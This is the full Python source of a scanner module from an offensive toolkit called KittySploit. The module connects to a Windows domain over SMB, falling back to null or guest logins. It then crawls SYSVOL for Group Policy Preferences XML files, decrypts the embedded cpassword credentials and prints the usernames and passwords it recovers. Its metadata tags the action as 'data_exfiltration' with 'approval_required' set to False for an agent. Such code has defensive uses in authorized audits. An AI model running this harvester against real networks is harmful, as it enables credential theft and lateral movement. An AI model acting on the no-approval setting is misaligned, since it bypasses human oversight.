GPP Password Hunter
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Hunt Group Policy Preferences passwords on SMB SYSVOL."""
from __future__ import annotations
import json
import os
import tempfile
from typing import Dict, List
from kittysploit import *
from lib.protocols.smb.gpp_helpers import GPP_FILENAMES, extract_gpp_secrets
from lib.protocols.smb.smb_client import SMBAuth, SMBClient
from lib.protocols.smb.smb_scanner_client import Smb_scanner_client
class Module(Scanner, Smb_scanner_client):
__info__ = {
"name": "GPP Password Hunter",
"description": (
"Search SYSVOL Group Policy Preferences XML files for encrypted "
"cpassword credentials via SMB."
),
"author": ["KittySploit Team"],
"severity": "high",
"tags": ["smb", "gpp", "windows", "ad", "credentials", "scanner"],
"references": [
"https://support.microsoft.com/en-us/topic/kb324737",
],
"agent": {
"risk": "active",
"effects": ["network_probe", "data_exfiltration"],
"expected_requests": 5,
"reversible": True,
"approval_required": False,
"produces": ["risk_signals", "credentials"],
},
}
domain = OptString("", "AD DNS domain name (e.g. corp.local)", required=True)
username = OptString("", "SMB username (empty tries null/guest)", required=False)
password = OptString("", "SMB password", required=False)
max_files = OptInteger(30, "Maximum GPP XML files to inspect", required=False)
output_file = OptString("", "Optional JSON output file", required=False)
def _auth_profiles(self) -> List[SMBAuth]:
user = str(self.username or "").strip()
pwd = str(self.password or "")
domain = str(self.domain or "").strip()
if user:
return [SMBAuth(username=user, password=pwd, domain=domain, server_name=domain)]
return [
SMBAuth(username="", password="", domain="", server_name=domain),
SMBAuth(username="guest", password="", domain="", server_name=domain),
]
def _walk_for_gpp(self, client: SMBClient, share: str, path: str, found: List[str], limit: int) -> None:
if len(found) >= limit:
return
entries = client.list_path(share, path)
for entry in entries:
if len(found) >= limit:
return
name = entry.get("name") or ""
if not name:
continue
child = f"{path.rstrip('\\')}\\{name}" if path != "\\" else f"\\{name}"
if entry.get("is_dir"):
self._walk_for_gpp(client, share, child, found, limit)
continue
if name in GPP_FILENAMES:
found.append(child)
def _download_text(self, client: SMBClient, share: str, remote_path: str) -> str:
fd, local_path = tempfile.mkstemp(suffix=".xml")
os.close(fd)
try:
if not client.get_file(share, remote_path, local_path):
return ""
with open(local_path, "r", encoding="utf-8", errors="replace") as fp:
return fp.read()
finally:
try:
os.remove(local_path)
except Exception:
pass
def run(self):
host = self._host()
domain = str(self.domain or "").strip().lower()
if not host or not domain:
print_error("Target and domain are required")
return False
limit = int(self.max_files or 30)
findings: List[Dict[str, str]] = []
connected = False
for auth in self._auth_profiles():
client = SMBClient(host=host, port=self._port(), auth=auth, timeout=int(self._timeout()))
if not client.connect():
continue
connected = True
shares = client.list_shares()
if "SYSVOL" not in shares:
client.close()
continue
candidates: List[str] = []
base = f"\\{domain}\\Policies"
self._walk_for_gpp(client, "SYSVOL", base, candidates, limit)
print_info(f"Found {len(candidates)} GPP XML file(s) under SYSVOL")
for remote_path in candidates[:limit]:
xml_text = self._download_text(client, "SYSVOL", remote_path)
secrets = extract_gpp_secrets(xml_text, source=remote_path)
findings.extend(secrets)
client.close()
if findings:
break
if not connected:
print_error("SMB connection failed")
return False
if not findings:
print_info("No GPP cpassword entries found")
return False
for item in findings[:10]:
print_warning(
f"{item.get('source')} user={item.get('username')} password={item.get('password')}"
)
self.set_info(
severity="high",
reason=f"{len(findings)} GPP credential(s) recovered from SYSVOL",
findings=findings[:20],
)
if self.output_file:
try:
with open(str(self.output_file), "w") as fp:
json.dump({"findings": findings}, fp, indent=2)
print_success(f"Results saved to {self.output_file}")
except Exception as exc:
print_error(f"Failed to save output: {exc}")
return True
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